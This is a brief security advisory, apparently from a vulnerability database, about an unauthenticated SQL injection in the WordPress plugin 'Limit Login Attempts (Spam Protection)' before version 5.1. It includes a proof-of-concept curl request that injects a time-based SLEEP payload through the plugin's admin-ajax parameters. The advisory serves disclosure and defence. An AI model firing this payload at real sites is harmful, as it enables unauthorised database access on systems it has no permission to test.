Limit Login Attempts (Spam Protection) < 5.1 - Unauthenticated SQLi

The plugin does not sanitise and escape some parameters before using them in SQL statements via AJAX actions (available to unauthenticated users), leading to SQL Injections

PoC

order and columns parameters are affected curl ‘https://example.com/wp-admin/admin-ajax.php’ --data ‘action=WPLFLA_get_log_data&order;[][column]=0&columns;[][data]=(SELECT 7382 FROM (SELECT(SLEEP(5)))ameU)’